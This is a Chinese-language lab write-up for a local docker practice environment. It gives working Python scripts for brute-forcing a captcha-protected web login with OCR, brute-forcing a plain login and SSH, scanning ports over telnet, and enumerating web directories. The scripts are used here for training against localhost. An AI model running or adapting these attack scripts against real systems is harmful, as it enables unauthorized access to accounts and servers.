环境配置

首先需要安装 dockerdocker-compose,我的版本如下:

image-20230512153551426

在配置目录执行 docker-compose up,开启实验环境。

image-20230512124002394

T1 - 带验证码登录界面登录爆破

首先,通过浏览器抓包工具获取图片和登录的链接,然后我们编写脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import ddddocr
import re
from multiprocessing.dummy import Pool as ThreadPool


def attack(password: str):
session = requests.session()

def get_code() -> str:
ocr = ddddocr.DdddOcr()
imgurl = "http://localhost:8001/index.php?s=captcha"
img_byte = session.get(imgurl).content
res = ocr.classification(img=img_byte)
code = re.findall('[0-9a-z]', res.lower())
return "".join(code)

data = {
"username": "admin",
"password": password,
"code": get_code(),
"submit": "登陆"
}
url = "http://localhost:8001/index.php?s=login"
r = session.post(url, data=data)
if "登陆成功" in r.text:
print("password is: ", password)


def main():
dic = ["aaa", "bbb", "Booger", "ccc", "dddd"]
pool = ThreadPool(10)
pool.map(attack, dic)


if __name__ == "__main__":
main()

这里,我们使用 session 来访问,可以保证验证码不会被刷新,这样在 OCR 验证码和最后提交 POST 表单登录的时候,对应的都是同一个验证码。

对于这道题,因为多线程不同的线程之间交替访问图片和提交登录表单,相互之间会影响验证码,从而无法得到结果,通过一个线程设置一个 session,即可解决该问题。

执行的结果如下:

image-20230512155923816

T2 - 不带验证码登录界面登录爆破及SSH暴力破解

不带验证码登录界面登录

不带验证码就相当于上一题的简化版,构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
from multiprocessing.dummy import Pool as ThreadPool


def attack(password: str):
data = {
"username": "admin",
"password": password
}
url = "http://localhost:8231/index.php?s=login"
r = requests.post(url, data=data)
if "登陆成功" in r.text:
print("password is: ", password)


def main():
dic = ["aaa", "bbb", "swimming", "ccc", "dddd"]
pool = ThreadPool(10)
pool.map(attack, dic)


if __name__ == "__main__":
main()

执行结果如下:

image-20230512160940716

登录拿到 flag 如下:

image-20230512142914379

SSH暴力破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import paramiko
from multiprocessing.dummy import Pool as ThreadPool


def ssh_check(password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect("localhost", 2222, "root", password, timeout=3)
print("password is: ", password)
except:
print("登录失败")
finally:
ssh.close()


def main():
dic = ["aaa", "bbb", "Christop", "ccc", "ddd"]
pool = ThreadPool(10)
pool.map(ssh_check, dic)


if __name__ == "__main__":
main()

执行结果如下:

image-20230512162017112

ssh 连接拿到 flag 如下:

image-20230512162859384

T3 - telnet端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from multiprocessing.dummy import Pool as ThreadPool
import telnetlib


def CheckPort(port):
tn = telnetlib.Telnet()
try:
tn.open("127.0.0.1", int(port), timeout=1.5) # 探测 127.0.0.1:port 是否开放
print("%s ==> %s open" % ("127.0.0.1", port))
except:
pass
finally:
tn.close()


def main():
dic = [i for i in range(1, 10000)]
pool = ThreadPool(10)
pool.map(CheckPort, dic)


if __name__ == "__main__":
main()

执行结果如下:

image-20230512162658379

T4 - Web目录枚举爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing.dummy import Pool as ThreadPool
import requests


def check_file(file):
url = "http://localhost:8231/"
resp = requests.get(url + file)
if resp.status_code != 404:
print("%s ==> ok!" % (file))


def main():
dic = ["app/login.php", "index.php", "index.html", "404.html", "login.php"]
pool = ThreadPool(10)
pool.map(check_file, dic)


if __name__ == "__main__":
main()

执行结果如下:

image-20230512163602128